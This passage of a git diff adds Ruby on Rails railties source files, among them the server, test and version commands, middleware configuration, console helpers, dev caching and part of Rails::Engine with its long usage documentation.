+        url = "on #{options[:SSLEnable] ? 'https' : 'http'}://#{options[:Host]}:#{options[:Port]}" unless use_puma?
+        puts "=> Booting #{ActiveSupport::Inflector.demodulize(server)}"
+        puts "=> Rails #{Rails.version} application starting in #{Rails.env} #{url}"
+        puts "=> Run `rails server -h` for more startup options"
+      end
+
+      def create_tmp_directories
+        %w(cache pids sockets).each do |dir_to_make|
+          FileUtils.mkdir_p(File.join(Rails.root, "tmp", dir_to_make))
+        end
+      end
+
+      def log_to_stdout
+        wrapped_app # touch the app so the logger is set up
+
+        console = ActiveSupport::Logger.new(STDOUT)
+        console.formatter = Rails.logger.formatter
+        console.level = Rails.logger.level
+
+        unless ActiveSupport::Logger.logger_outputs_to?(Rails.logger, STDOUT)
+          Rails.logger.extend(ActiveSupport::Logger.broadcast(console))
+        end
+      end
+
+      def restart_command
+        "bin/rails server #{ARGV.join(' ')}"
+      end
+
+      def use_puma?
+        server.to_s == "Rack::Handler::Puma"
+      end
+  end
+
+  module Command
+    class ServerCommand < Base # :nodoc:
+      DEFAULT_PORT = 3000
+      DEFAULT_PID_PATH = "tmp/pids/server.pid".freeze
+
+      class_option :port, aliases: "-p", type: :numeric,
+        desc: "Runs Rails on the specified port - defaults to 3000.", banner: :port
+      class_option :binding, aliases: "-b", type: :string,
+        desc: "Binds Rails to the specified IP - defaults to 'localhost' in development and '0.0.0.0' in other environments'.",
+        banner: :IP
+      class_option :config, aliases: "-c", type: :string, default: "config.ru",
+        desc: "Uses a custom rackup configuration.", banner: :file
+      class_option :daemon, aliases: "-d", type: :boolean, default: false,
+        desc: "Runs server as a Daemon."
+      class_option :environment, aliases: "-e", type: :string,
+        desc: "Specifies the environment to run this server under (development/test/production).", banner: :name
+      class_option :pid, aliases: "-P", type: :string, default: DEFAULT_PID_PATH,
+        desc: "Specifies the PID file."
+      class_option "dev-caching", aliases: "-C", type: :boolean, default: nil,
+        desc: "Specifies whether to perform caching in development."
+
+      def initialize(args = [], local_options = {}, config = {})
+        @original_options = local_options
+        super
+        @server = self.args.shift
+        @log_stdout = options[:daemon].blank? && (options[:environment] || Rails.env) == "development"
+      end
+
+      def perform
+        set_application_directory!
+        Rails::Server.new(server_options).tap do |server|
+          # Require application after server sets environment to propagate
+          # the --environment option.
+          require APP_PATH
+          Dir.chdir(Rails.application.root)
+          server.start
+        end
+      end
+
+      no_commands do
+        def server_options
+          {
+            user_supplied_options: user_supplied_options,
+            server:                @server,
+            log_stdout:            @log_stdout,
+            Port:                  port,
+            Host:                  host,
+            DoNotReverseLookup:    true,
+            config:                options[:config],
+            environment:           environment,
+            daemonize:             options[:daemon],
+            pid:                   pid,
+            caching:               options["dev-caching"],
+            restart_cmd:           restart_command
+          }
+        end
+      end
+
+      private
+        def user_supplied_options
+          @user_supplied_options ||= begin
+            # Convert incoming options array to a hash of flags
+            #   ["-p3001", "-C", "--binding", "127.0.0.1"] # => {"-p"=>true, "-C"=>true, "--binding"=>true}
+            user_flag = {}
+            @original_options.each do |command|
+              if command.to_s.start_with?("--")
+                option = command.split("=")[0]
+                user_flag[option] = true
+              elsif command =~ /\A(-.)/
+                user_flag[Regexp.last_match[0]] = true
+              end
+            end
+
+            # Collect all options that the user has explicitly defined so we can
+            # differentiate them from defaults
+            user_supplied_options = []
+            self.class.class_options.select do |key, option|
+              if option.aliases.any? { |name| user_flag[name] } || user_flag["--#{option.name}"]
+                name = option.name.to_sym
+                case name
+                when :port
+                  name = :Port
+                when :binding
+                  name = :Host
+                when :"dev-caching"
+                  name = :caching
+                when :daemonize
+                  name = :daemon
+                end
+                user_supplied_options << name
+              end
+            end
+            user_supplied_options << :Host if ENV["HOST"]
+            user_supplied_options << :Port if ENV["PORT"]
+            user_supplied_options.uniq
+          end
+        end
+
+        def port
+          options[:port] || ENV.fetch("PORT", DEFAULT_PORT).to_i
+        end
+
+        def host
+          if options[:binding]
+            options[:binding]
+          else
+            default_host = environment == "development" ? "localhost" : "0.0.0.0"
+            ENV.fetch("HOST", default_host)
+          end
+        end
+
+        def environment
+          options[:environment] || Rails::Command.environment
+        end
+
+        def restart_command
+          "bin/rails server #{@server} #{@original_options.join(" ")}"
+        end
+
+        def pid
+          File.expand_path(options[:pid])
+        end
+
+        def self.banner(*)
+          "rails server [puma, thin etc] [options]"
+        end
+    end
+  end
+end
diff --git a/railties/lib/rails/commands/test/test_command.rb b/railties/lib/rails/commands/test/test_command.rb
new file mode 100644
index 0000000000..5852f51a62
--- /dev/null
+++ b/railties/lib/rails/commands/test/test_command.rb
@@ -0,0 +1,42 @@
+require_relative "../../command"
+require_relative "../../test_unit/runner"
+
+module Rails
+  module Command
+    class TestCommand < Base # :nodoc:
+      no_commands do
+        def help
+          require "optparse"
+          require "minitest/rails_plugin"
+
+          opts = OptionParser.new
+          opts.banner = "Usage: #{Rails::TestUnitReporter.executable} [options] [files or directories]"
+          opts.separator ""
+          opts.separator "You can run a single test by appending a line number to a filename:"
+          opts.separator ""
+          opts.separator "    #{Rails::TestUnitReporter.executable} test/models/user_test.rb:27"
+          opts.separator ""
+          opts.separator "You can run multiple files and directories at the same time:"
+          opts.separator ""
+          opts.separator "    #{Rails::TestUnitReporter.executable} test/controllers test/integration/login_test.rb"
+          opts.separator ""
+          opts.separator "By default test failures and errors are reported inline during a run."
+          opts.separator ""
+
+          opts.separator "Rails options:"
+          Rails::TestUnit::Runner.options(opts)
+          Minitest.plugin_rails_options(opts, {})
+
+          say opts
+        end
+      end
+
+      def perform(*)
+        $LOAD_PATH << Rails::Command.root.join("test").to_s
+
+        Rails::TestUnit::Runner.parse_options(ARGV)
+        Rails::TestUnit::Runner.run(ARGV)
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/commands/version/version_command.rb b/railties/lib/rails/commands/version/version_command.rb
new file mode 100644
index 0000000000..ac745594ee
--- /dev/null
+++ b/railties/lib/rails/commands/version/version_command.rb
@@ -0,0 +1,9 @@
+module Rails
+  module Command
+    class VersionCommand < Base # :nodoc:
+      def perform
+        Rails::Command.invoke :application, [ "--version" ]
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/configuration.rb b/railties/lib/rails/configuration.rb
new file mode 100644
index 0000000000..89ed313ff0
--- /dev/null
+++ b/railties/lib/rails/configuration.rb
@@ -0,0 +1,135 @@
+require "active_support/ordered_options"
+require "active_support/core_ext/object"
+require_relative "paths"
+require_relative "rack"
+
+module Rails
+  module Configuration
+    # MiddlewareStackProxy is a proxy for the Rails middleware stack that allows
+    # you to configure middlewares in your application. It works basically as a
+    # command recorder, saving each command to be applied after initialization
+    # over the default middleware stack, so you can add, swap, or remove any
+    # middleware in Rails.
+    #
+    # You can add your own middlewares by using the +config.middleware.use+ method:
+    #
+    #     config.middleware.use Magical::Unicorns
+    #
+    # This will put the <tt>Magical::Unicorns</tt> middleware on the end of the stack.
+    # You can use +insert_before+ if you wish to add a middleware before another:
+    #
+    #     config.middleware.insert_before Rack::Head, Magical::Unicorns
+    #
+    # There's also +insert_after+ which will insert a middleware after another:
+    #
+    #     config.middleware.insert_after Rack::Head, Magical::Unicorns
+    #
+    # Middlewares can also be completely swapped out and replaced with others:
+    #
+    #     config.middleware.swap ActionDispatch::Flash, Magical::Unicorns
+    #
+    # And finally they can also be removed from the stack completely:
+    #
+    #     config.middleware.delete ActionDispatch::Flash
+    #
+    class MiddlewareStackProxy
+      def initialize(operations = [], delete_operations = [])
+        @operations = operations
+        @delete_operations = delete_operations
+      end
+
+      def insert_before(*args, &block)
+        @operations << [__method__, args, block]
+      end
+
+      alias :insert :insert_before
+
+      def insert_after(*args, &block)
+        @operations << [__method__, args, block]
+      end
+
+      def swap(*args, &block)
+        @operations << [__method__, args, block]
+      end
+
+      def use(*args, &block)
+        @operations << [__method__, args, block]
+      end
+
+      def delete(*args, &block)
+        @delete_operations << [__method__, args, block]
+      end
+
+      def unshift(*args, &block)
+        @operations << [__method__, args, block]
+      end
+
+      def merge_into(other) #:nodoc:
+        (@operations + @delete_operations).each do |operation, args, block|
+          other.send(operation, *args, &block)
+        end
+
+        other
+      end
+
+      def +(other) # :nodoc:
+        MiddlewareStackProxy.new(@operations + other.operations, @delete_operations + other.delete_operations)
+      end
+
+      protected
+        def operations
+          @operations
+        end
+
+        def delete_operations
+          @delete_operations
+        end
+    end
+
+    class Generators #:nodoc:
+      attr_accessor :aliases, :options, :templates, :fallbacks, :colorize_logging, :api_only
+      attr_reader :hidden_namespaces
+
+      def initialize
+        @aliases = Hash.new { |h, k| h[k] = {} }
+        @options = Hash.new { |h, k| h[k] = {} }
+        @fallbacks = {}
+        @templates = []
+        @colorize_logging = true
+        @api_only = false
+        @hidden_namespaces = []
+      end
+
+      def initialize_copy(source)
+        @aliases = @aliases.deep_dup
+        @options = @options.deep_dup
+        @fallbacks = @fallbacks.deep_dup
+        @templates = @templates.dup
+      end
+
+      def hide_namespace(namespace)
+        @hidden_namespaces << namespace
+      end
+
+      def method_missing(method, *args)
+        method = method.to_s.sub(/=$/, "").to_sym
+
+        return @options[method] if args.empty?
+
+        if method == :rails || args.first.is_a?(Hash)
+          namespace, configuration = method, args.shift
+        else
+          namespace, configuration = args.shift, args.shift
+          namespace = namespace.to_sym if namespace.respond_to?(:to_sym)
+          @options[:rails][method] = namespace
+        end
+
+        if configuration
+          aliases = configuration.delete(:aliases)
+          @aliases[namespace].merge!(aliases) if aliases
+          @options[namespace].merge!(configuration)
+        end
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/console/app.rb b/railties/lib/rails/console/app.rb
new file mode 100644
index 0000000000..affadc8e09
--- /dev/null
+++ b/railties/lib/rails/console/app.rb
@@ -0,0 +1,36 @@
+require "active_support/all"
+require "action_controller"
+
+module Rails
+  module ConsoleMethods
+    # reference the global "app" instance, created on demand. To recreate the
+    # instance, pass a non-false value as the parameter.
+    def app(create = false)
+      @app_integration_instance = nil if create
+      @app_integration_instance ||= new_session do |sess|
+        sess.host! "www.example.com"
+      end
+    end
+
+    # create a new session. If a block is given, the new session will be yielded
+    # to the block before being returned.
+    def new_session
+      app = Rails.application
+      session = ActionDispatch::Integration::Session.new(app)
+      yield session if block_given?
+
+      # This makes app.url_for and app.foo_path available in the console
+      session.extend(app.routes.url_helpers)
+      session.extend(app.routes.mounted_helpers)
+
+      session
+    end
+
+    # reloads the environment
+    def reload!(print = true)
+      puts "Reloading..." if print
+      Rails.application.reloader.reload!
+      true
+    end
+  end
+end
diff --git a/railties/lib/rails/console/helpers.rb b/railties/lib/rails/console/helpers.rb
new file mode 100644
index 0000000000..a33f71dc5b
--- /dev/null
+++ b/railties/lib/rails/console/helpers.rb
@@ -0,0 +1,17 @@
+module Rails
+  module ConsoleMethods
+    # Gets the helper methods available to the controller.
+    #
+    # This method assumes an +ApplicationController+ exists, and it extends +ActionController::Base+
+    def helper
+      ApplicationController.helpers
+    end
+
+    # Gets a new instance of a controller object.
+    #
+    # This method assumes an +ApplicationController+ exists, and it extends +ActionController::Base+
+    def controller
+      @controller ||= ApplicationController.new
+    end
+  end
+end
diff --git a/railties/lib/rails/dev_caching.rb b/railties/lib/rails/dev_caching.rb
new file mode 100644
index 0000000000..f69275a34a
--- /dev/null
+++ b/railties/lib/rails/dev_caching.rb
@@ -0,0 +1,43 @@
+require "fileutils"
+
+module Rails
+  module DevCaching # :nodoc:
+    class << self
+      FILE = "tmp/caching-dev.txt"
+
+      def enable_by_file
+        FileUtils.mkdir_p("tmp")
+
+        if File.exist?(FILE)
+          delete_cache_file
+          puts "Development mode is no longer being cached."
+        else
+          create_cache_file
+          puts "Development mode is now being cached."
+        end
+
+        FileUtils.touch "tmp/restart.txt"
+        FileUtils.rm_f("tmp/pids/server.pid")
+      end
+
+      def enable_by_argument(caching)
+        FileUtils.mkdir_p("tmp")
+
+        if caching
+          create_cache_file
+        elsif caching == false && File.exist?(FILE)
+          delete_cache_file
+        end
+      end
+
+      private
+        def create_cache_file
+          FileUtils.touch FILE
+        end
+
+        def delete_cache_file
+          File.delete FILE
+        end
+    end
+  end
+end
diff --git a/railties/lib/rails/engine.rb b/railties/lib/rails/engine.rb
new file mode 100644
index 0000000000..a80593d4b9
--- /dev/null
+++ b/railties/lib/rails/engine.rb
@@ -0,0 +1,703 @@
+require_relative "railtie"
+require_relative "engine/railties"
+require "active_support/core_ext/module/delegation"
+require "pathname"
+require "thread"
+
+module Rails
+  # <tt>Rails::Engine</tt> allows you to wrap a specific Rails application or subset of
+  # functionality and share it with other applications or within a larger packaged application.
+  # Every <tt>Rails::Application</tt> is just an engine, which allows for simple
+  # feature and application sharing.
+  #
+  # Any <tt>Rails::Engine</tt> is also a <tt>Rails::Railtie</tt>, so the same
+  # methods (like <tt>rake_tasks</tt> and +generators+) and configuration
+  # options that are available in railties can also be used in engines.
+  #
+  # == Creating an Engine
+  #
+  # If you want a gem to behave as an engine, you have to specify an +Engine+
+  # for it somewhere inside your plugin's +lib+ folder (similar to how we
+  # specify a +Railtie+):
+  #
+  #   # lib/my_engine.rb
+  #   module MyEngine
+  #     class Engine < Rails::Engine
+  #     end
+  #   end
+  #
+  # Then ensure that this file is loaded at the top of your <tt>config/application.rb</tt>
+  # (or in your +Gemfile+) and it will automatically load models, controllers and helpers
+  # inside +app+, load routes at <tt>config/routes.rb</tt>, load locales at
+  # <tt>config/locales/*</tt>, and load tasks at <tt>lib/tasks/*</tt>.
+  #
+  # == Configuration
+  #
+  # Besides the +Railtie+ configuration which is shared across the application, in a
+  # <tt>Rails::Engine</tt> you can access <tt>autoload_paths</tt>, <tt>eager_load_paths</tt>
+  # and <tt>autoload_once_paths</tt>, which, differently from a <tt>Railtie</tt>, are scoped to
+  # the current engine.
+  #
+  #   class MyEngine < Rails::Engine
+  #     # Add a load path for this specific Engine
+  #     config.autoload_paths << File.expand_path("lib/some/path", __dir__)
+  #
+  #     initializer "my_engine.add_middleware" do |app|
+  #       app.middleware.use MyEngine::Middleware
+  #     end
+  #   end
+  #
+  # == Generators
+  #
+  # You can set up generators for engines with <tt>config.generators</tt> method:
+  #
+  #   class MyEngine < Rails::Engine
+  #     config.generators do |g|
+  #       g.orm             :active_record
+  #       g.template_engine :erb
+  #       g.test_framework  :test_unit
+  #     end
+  #   end
+  #
+  # You can also set generators for an application by using <tt>config.app_generators</tt>:
+  #
+  #   class MyEngine < Rails::Engine
+  #     # note that you can also pass block to app_generators in the same way you
+  #     # can pass it to generators method
+  #     config.app_generators.orm :datamapper
+  #   end
+  #
+  # == Paths
+  #
+  # Applications and engines have flexible path configuration, meaning that you
+  # are not required to place your controllers at <tt>app/controllers</tt>, but
+  # in any place which you find convenient.
+  #
+  # For example, let's suppose you want to place your controllers in <tt>lib/controllers</tt>.
+  # You can set that as an option:
+  #
+  #   class MyEngine < Rails::Engine
+  #     paths["app/controllers"] = "lib/controllers"
+  #   end
+  #
+  # You can also have your controllers loaded from both <tt>app/controllers</tt> and
+  # <tt>lib/controllers</tt>:
+  #
+  #   class MyEngine < Rails::Engine
+  #     paths["app/controllers"] << "lib/controllers"
+  #   end
+  #
+  # The available paths in an engine are:
+  #
+  #   class MyEngine < Rails::Engine
+  #     paths["app"]                 # => ["app"]
+  #     paths["app/controllers"]     # => ["app/controllers"]
+  #     paths["app/helpers"]         # => ["app/helpers"]
+  #     paths["app/models"]          # => ["app/models"]
+  #     paths["app/views"]           # => ["app/views"]
+  #     paths["lib"]                 # => ["lib"]
+  #     paths["lib/tasks"]           # => ["lib/tasks"]
+  #     paths["config"]              # => ["config"]
+  #     paths["config/initializers"] # => ["config/initializers"]
+  #     paths["config/locales"]      # => ["config/locales"]
+  #     paths["config/routes.rb"]    # => ["config/routes.rb"]
+  #   end
+  #
+  # The <tt>Application</tt> class adds a couple more paths to this set. And as in your
+  # <tt>Application</tt>, all folders under +app+ are automatically added to the load path.
+  # If you have an <tt>app/services</tt> folder for example, it will be added by default.
+  #
+  # == Endpoint
+  #
+  # An engine can also be a Rack application. It can be useful if you have a Rack application that
+  # you would like to wrap with +Engine+ and provide with some of the +Engine+'s features.
+  #
+  # To do that, use the +endpoint+ method:
+  #
+  #   module MyEngine
+  #     class Engine < Rails::Engine
+  #       endpoint MyRackApplication
+  #     end
+  #   end
+  #
+  # Now you can mount your engine in application's routes just like that:
+  #
+  #   Rails.application.routes.draw do
+  #     mount MyEngine::Engine => "/engine"
+  #   end
+  #
+  # == Middleware stack
+  #
+  # As an engine can now be a Rack endpoint, it can also have a middleware
+  # stack. The usage is exactly the same as in <tt>Application</tt>:
+  #
+  #   module MyEngine
+  #     class Engine < Rails::Engine
+  #       middleware.use SomeMiddleware
+  #     end
+  #   end
+  #
+  # == Routes
+  #
+  # If you don't specify an endpoint, routes will be used as the default
+  # endpoint. You can use them just like you use an application's routes:
+  #
+  #   # ENGINE/config/routes.rb
+  #   MyEngine::Engine.routes.draw do
+  #     get "/" => "posts#index"
+  #   end
+  #
+  # == Mount priority
+  #
+  # Note that now there can be more than one router in your application, and it's better to avoid
+  # passing requests through many routers. Consider this situation:
+  #
+  #   Rails.application.routes.draw do
+  #     mount MyEngine::Engine => "/blog"
+  #     get "/blog/omg" => "main#omg"
+  #   end
+  #
+  # +MyEngine+ is mounted at <tt>/blog</tt>, and <tt>/blog/omg</tt> points to application's
+  # controller. In such a situation, requests to <tt>/blog/omg</tt> will go through +MyEngine+,
+  # and if there is no such route in +Engine+'s routes, it will be dispatched to <tt>main#omg</tt>.
+  # It's much better to swap that:
+  #
+  #   Rails.application.routes.draw do
+  #     get "/blog/omg" => "main#omg"
+  #     mount MyEngine::Engine => "/blog"
+  #   end
+  #
+  # Now, +Engine+ will get only requests that were not handled by +Application+.
+  #
+  # == Engine name
+  #
+  # There are some places where an Engine's name is used:
+  #
+  # * routes: when you mount an Engine with <tt>mount(MyEngine::Engine => '/my_engine')</tt>,
+  #   it's used as default <tt>:as</tt> option
+  # * rake task for installing migrations <tt>my_engine:install:migrations</tt>
+  #
+  # Engine name is set by default based on class name. For <tt>MyEngine::Engine</tt> it will be
+  # <tt>my_engine_engine</tt>. You can change it manually using the <tt>engine_name</tt> method:
+  #
+  #   module MyEngine
+  #     class Engine < Rails::Engine
+  #       engine_name "my_engine"
+  #     end
+  #   end
+  #
+  # == Isolated Engine
+  #
+  # Normally when you create controllers, helpers and models inside an engine, they are treated
+  # as if they were created inside the application itself. This means that all helpers and
+  # named routes from the application will be available to your engine's controllers as well.
+  #
+  # However, sometimes you want to isolate your engine from the application, especially if your engine
+  # has its own router. To do that, you simply need to call +isolate_namespace+. This method requires
+  # you to pass a module where all your controllers, helpers and models should be nested to:
+  #
+  #   module MyEngine
+  #     class Engine < Rails::Engine
+  #       isolate_namespace MyEngine
+  #     end
+  #   end
+  #
+  # With such an engine, everything that is inside the +MyEngine+ module will be isolated from
+  # the application.
+  #
+  # Consider this controller:
+  #
+  #   module MyEngine
+  #     class FooController < ActionController::Base
+  #     end
+  #   end
+  #
+  # If the +MyEngine+ engine is marked as isolated, +FooController+ only has
+  # access to helpers from +MyEngine+, and <tt>url_helpers</tt> from
+  # <tt>MyEngine::Engine.routes</tt>.
+  #
+  # The next thing that changes in isolated engines is the behavior of routes.
+  # Normally, when you namespace your controllers, you also need to namespace
+  # the related routes. With an isolated engine, the engine's namespace is
+  # automatically applied, so you don't need to specify it explicitly in your
+  # routes:
+  #
+  #   MyEngine::Engine.routes.draw do
+  #     resources :articles
+  #   end
+  #
+  # If +MyEngine+ is isolated, The routes above will point to
+  # <tt>MyEngine::ArticlesController</tt>. You also don't need to use longer
+  # url helpers like +my_engine_articles_path+. Instead, you should simply use
+  # +articles_path+, like you would do with your main application.
+  #
+  # To make this behavior consistent with other parts of the framework,
+  # isolated engines also have an effect on <tt>ActiveModel::Naming</tt>. In a
+  # normal Rails app, when you use a namespaced model such as
+  # <tt>Namespace::Article</tt>, <tt>ActiveModel::Naming</tt> will generate
+  # names with the prefix "namespace". In an isolated engine, the prefix will
+  # be omitted in url helpers and form fields, for convenience.
+  #
+  #   polymorphic_url(MyEngine::Article.new)
+  #   # => "articles_path" # not "my_engine_articles_path"
+  #
+  #   form_for(MyEngine::Article.new) do
+  #     text_field :title # => <input type="text" name="article[title]" id="article_title" />
+  #   end
+  #
+  # Additionally, an isolated engine will set its own name according to its
+  # namespace, so <tt>MyEngine::Engine.engine_name</tt> will return
+  # "my_engine". It will also set +MyEngine.table_name_prefix+ to "my_engine_",
+  # meaning for example that <tt>MyEngine::Article</tt> will use the
+  # +my_engine_articles+ database table by default.
+  #
+  # == Using Engine's routes outside Engine
+  #
+  # Since you can now mount an engine inside application's routes, you do not have direct access to +Engine+'s
+  # <tt>url_helpers</tt> inside +Application+. When you mount an engine in an application's routes, a special helper is
+  # created to allow you to do that. Consider such a scenario:
+  #
+  #   # config/routes.rb
+  #   Rails.application.routes.draw do
+  #     mount MyEngine::Engine => "/my_engine", as: "my_engine"
+  #     get "/foo" => "foo#index"
+  #   end
+  #
+  # Now, you can use the <tt>my_engine</tt> helper inside your application:
+  #
+  #   class FooController < ApplicationController
+  #     def index
+  #       my_engine.root_url # => /my_engine/
+  #     end
+  #   end
+  #
+  # There is also a <tt>main_app</tt> helper that gives you access to application's routes inside Engine:
+  #
+  #   module MyEngine
+  #     class BarController
+  #       def index
+  #         main_app.foo_path # => /foo
+  #       end
+  #     end
+  #   end
+  #
+  # Note that the <tt>:as</tt> option given to mount takes the <tt>engine_name</tt> as default, so most of the time
+  # you can simply omit it.
+  #
+  # Finally, if you want to generate a url to an engine's route using
+  # <tt>polymorphic_url</tt>, you also need to pass the engine helper. Let's
+  # say that you want to create a form pointing to one of the engine's routes.
+  # All you need to do is pass the helper as the first element in array with
+  # attributes for url:
+  #
+  #   form_for([my_engine, @user])
+  #
+  # This code will use <tt>my_engine.user_path(@user)</tt> to generate the proper route.
+  #
+  # == Isolated engine's helpers
+  #
+  # Sometimes you may want to isolate engine, but use helpers that are defined for it.
+  # If you want to share just a few specific helpers you can add them to application's
+  # helpers in ApplicationController:
+  #
+  #   class ApplicationController < ActionController::Base
+  #     helper MyEngine::SharedEngineHelper
+  #   end
+  #
+  # If you want to include all of the engine's helpers, you can use the #helper method on an engine's
+  # instance:
+  #
+  #   class ApplicationController < ActionController::Base
+  #     helper MyEngine::Engine.helpers
+  #   end
+  #
+  # It will include all of the helpers from engine's directory. Take into account that this does
+  # not include helpers defined in controllers with helper_method or other similar solutions,
+  # only helpers defined in the helpers directory will be included.
+  #
+  # == Migrations & seed data
+  #
+  # Engines can have their own migrations. The default path for migrations is exactly the same
+  # as in application: <tt>db/migrate</tt>
+  #
+  # To use engine's migrations in application you can use the rake task below, which copies them to
+  # application's dir:
+  #
+  #   rake ENGINE_NAME:install:migrations
+  #
+  # Note that some of the migrations may be skipped if a migration with the same name already exists
+  # in application. In such a situation you must decide whether to leave that migration or rename the
+  # migration in the application and rerun copying migrations.
+  #
+  # If your engine has migrations, you may also want to prepare data for the database in
+  # the <tt>db/seeds.rb</tt> file. You can load that data using the <tt>load_seed</tt> method, e.g.
+  #
+  #   MyEngine::Engine.load_seed
+  #
+  # == Loading priority
+  #
+  # In order to change engine's priority you can use +config.railties_order+ in the main application.
+  # It will affect the priority of loading views, helpers, assets, and all the other files
+  # related to engine or application.
+  #
+  #   # load Blog::Engine with highest priority, followed by application and other railties
+  #   config.railties_order = [Blog::Engine, :main_app, :all]
+  class Engine < Railtie
+    autoload :Configuration, "rails/engine/configuration"
+
+    class << self
+      attr_accessor :called_from, :isolated
+
+      alias :isolated? :isolated
+      alias :engine_name :railtie_name
+
+      delegate :eager_load!, to: :instance
+
+      def inherited(base)
+        unless base.abstract_railtie?
+          Rails::Railtie::Configuration.eager_load_namespaces << base
+
+          base.called_from = begin
+            call_stack = caller_locations.map { |l| l.absolute_path || l.path }
+
+            File.dirname(call_stack.detect { |p| p !~ %r[railties[\w.-]*/lib/rails|rack[\w.-]*/lib/rack] })
+          end
+        end
+
+        super
+      end
+
+      def find_root(from)
+        find_root_with_flag "lib", from
+      end
+
+      def endpoint(endpoint = nil)
+        @endpoint ||= nil
+        @endpoint = endpoint if endpoint
+        @endpoint
+      end
+
+      def isolate_namespace(mod)
+        engine_name(generate_railtie_name(mod.name))
+
+        routes.default_scope = { module: ActiveSupport::Inflector.underscore(mod.name) }
+        self.isolated = true
+
+        unless mod.respond_to?(:railtie_namespace)
+          name, railtie = engine_name, self
+
+          mod.singleton_class.instance_eval do
+            define_method(:railtie_namespace) { railtie }
+
+            unless mod.respond_to?(:table_name_prefix)
+              define_method(:table_name_prefix) { "#{name}_" }
+            end
+
+            unless mod.respond_to?(:use_relative_model_naming?)
+              class_eval "def use_relative_model_naming?; true; end", __FILE__, __LINE__
+            end
+
+            unless mod.respond_to?(:railtie_helpers_paths)
+              define_method(:railtie_helpers_paths) { railtie.helpers_paths }
+            end
+
+            unless mod.respond_to?(:railtie_routes_url_helpers)
+              define_method(:railtie_routes_url_helpers) { |include_path_helpers = true| railtie.routes.url_helpers(include_path_helpers) }
+            end
+          end
+        end
+      end
+
+      # Finds engine with given path.
+      def find(path)
+        expanded_path = File.expand_path path
+        Rails::Engine.subclasses.each do |klass|
+          engine = klass.instance
+          return engine if File.expand_path(engine.root) == expanded_path
+        end
+        nil
+      end
+    end
+
+    delegate :middleware, :root, :paths, to: :config
+    delegate :engine_name, :isolated?, to: :class
+
+    def initialize
+      @_all_autoload_paths = nil
+      @_all_load_paths     = nil
+      @app                 = nil
+      @config              = nil
+      @env_config          = nil
+      @helpers             = nil
+      @routes              = nil
+      @app_build_lock      = Mutex.new
+      super
+    end
+
+    # Load console and invoke the registered hooks.
+    # Check <tt>Rails::Railtie.console</tt> for more info.
+    def load_console(app = self)
+      require_relative "console/app"
+      require_relative "console/helpers"
+      run_console_blocks(app)
+      self
+    end
+
+    # Load Rails runner and invoke the registered hooks.
+    # Check <tt>Rails::Railtie.runner</tt> for more info.
+    def load_runner(app = self)
+      run_runner_blocks(app)
+      self
+    end
+
+    # Load Rake, railties tasks and invoke the registered hooks.
+    # Check <tt>Rails::Railtie.rake_tasks</tt> for more info.
+    def load_tasks(app = self)
+      require "rake"
+      run_tasks_blocks(app)
+      self
+    end
+
+    # Load Rails generators and invoke the registered hooks.
+    # Check <tt>Rails::Railtie.generators</tt> for more info.
+    def load_generators(app = self)
+      require_relative "generators"
+      run_generators_blocks(app)
+      Rails::Generators.configure!(app.config.generators)
+      self
+    end
+
+    # Eager load the application by loading all ruby
+    # files inside eager_load paths.
+    def eager_load!
+      config.eager_load_paths.each do |load_path|
+        matcher = /\A#{Regexp.escape(load_path.to_s)}\/(.*)\.rb\Z/
+        Dir.glob("#{load_path}/**/*.rb").sort.each do |file|
+          require_dependency file.sub(matcher, '\1')
+        end
+      end
+    end
+
+    def railties
+      @railties ||= Railties.new
+    end
+
+    # Returns a module with all the helpers defined for the engine.
+    def helpers
+      @helpers ||= begin
+        helpers = Module.new
+        all = ActionController::Base.all_helpers_from_path(helpers_paths)
+        ActionController::Base.modules_for_helpers(all).each do |mod|
+          helpers.include(mod)
+        end
+        helpers
+      end
+    end
+
+    # Returns all registered helpers paths.
+    def helpers_paths
+      paths["app/helpers"].existent
+    end
+
+    # Returns the underlying Rack application for this engine.
+    def app
+      @app || @app_build_lock.synchronize {
+        @app ||= begin
+          stack = default_middleware_stack
+          config.middleware = build_middleware.merge_into(stack)
+          config.middleware.build(endpoint)
+        end
+      }
+    end
+
+    # Returns the endpoint for this engine. If none is registered,
+    # defaults to an ActionDispatch::Routing::RouteSet.
+    def endpoint
+      self.class.endpoint || routes
+    end
+
+    # Define the Rack API for this engine.
+    def call(env)
+      req = build_request env
+      app.call req.env
+    end
+
+    # Defines additional Rack env configuration that is added on each call.
+    def env_config
+      @env_config ||= {}
+    end
+
+    # Defines the routes for this engine. If a block is given to
+    # routes, it is appended to the engine.
+    def routes
+      @routes ||= ActionDispatch::Routing::RouteSet.new_with_config(config)
+      @routes.append(&Proc.new) if block_given?
+      @routes
+    end
+
+    # Define the configuration object for the engine.
+    def config
+      @config ||= Engine::Configuration.new(self.class.find_root(self.class.called_from))
+    end
+
+    # Load data from db/seeds.rb file. It can be used in to load engines'
+    # seeds, e.g.:
+    #
+    # Blog::Engine.load_seed
+    def load_seed
+      seed_file = paths["db/seeds.rb"].existent.first
+      load(seed_file) if seed_file
+    end
+
+    # Add configured load paths to Ruby's load path, and remove duplicate entries.
+    initializer :set_load_path, before: :bootstrap_hook do
+      _all_load_paths.reverse_each do |path|
+        $LOAD_PATH.unshift(path) if File.directory?(path)
+      end
+      $LOAD_PATH.uniq!
+    end
+
+    # Set the paths from which Rails will automatically load source files,
+    # and the load_once paths.
+    #
+    # This needs to be an initializer, since it needs to run once
+    # per engine and get the engine as a block parameter.
+    initializer :set_autoload_paths, before: :bootstrap_hook do
+      ActiveSupport::Dependencies.autoload_paths.unshift(*_all_autoload_paths)
+      ActiveSupport::Dependencies.autoload_once_paths.unshift(*_all_autoload_once_paths)
+
+      # Freeze so future modifications will fail rather than do nothing mysteriously
+      config.autoload_paths.freeze
+      config.eager_load_paths.freeze
+      config.autoload_once_paths.freeze
+    end
+
+    initializer :add_routing_paths do |app|
+      routing_paths = paths["config/routes.rb"].existent
+
+      if routes? || routing_paths.any?
+        app.routes_reloader.paths.unshift(*routing_paths)
+        app.routes_reloader.route_sets << routes
+      end
+    end
+
+    # I18n load paths are a special case since the ones added
+    # later have higher priority.
+    initializer :add_locales do
+      config.i18n.railties_load_path << paths["config/locales"]
+    end
+
+    initializer :add_view_paths do
+      views = paths["app/views"].existent
+      unless views.empty?
+        ActiveSupport.on_load(:action_controller) { prepend_view_path(views) if respond_to?(:prepend_view_path) }
+        ActiveSupport.on_load(:action_mailer) { prepend_view_path(views) }
+      end
+    end
+
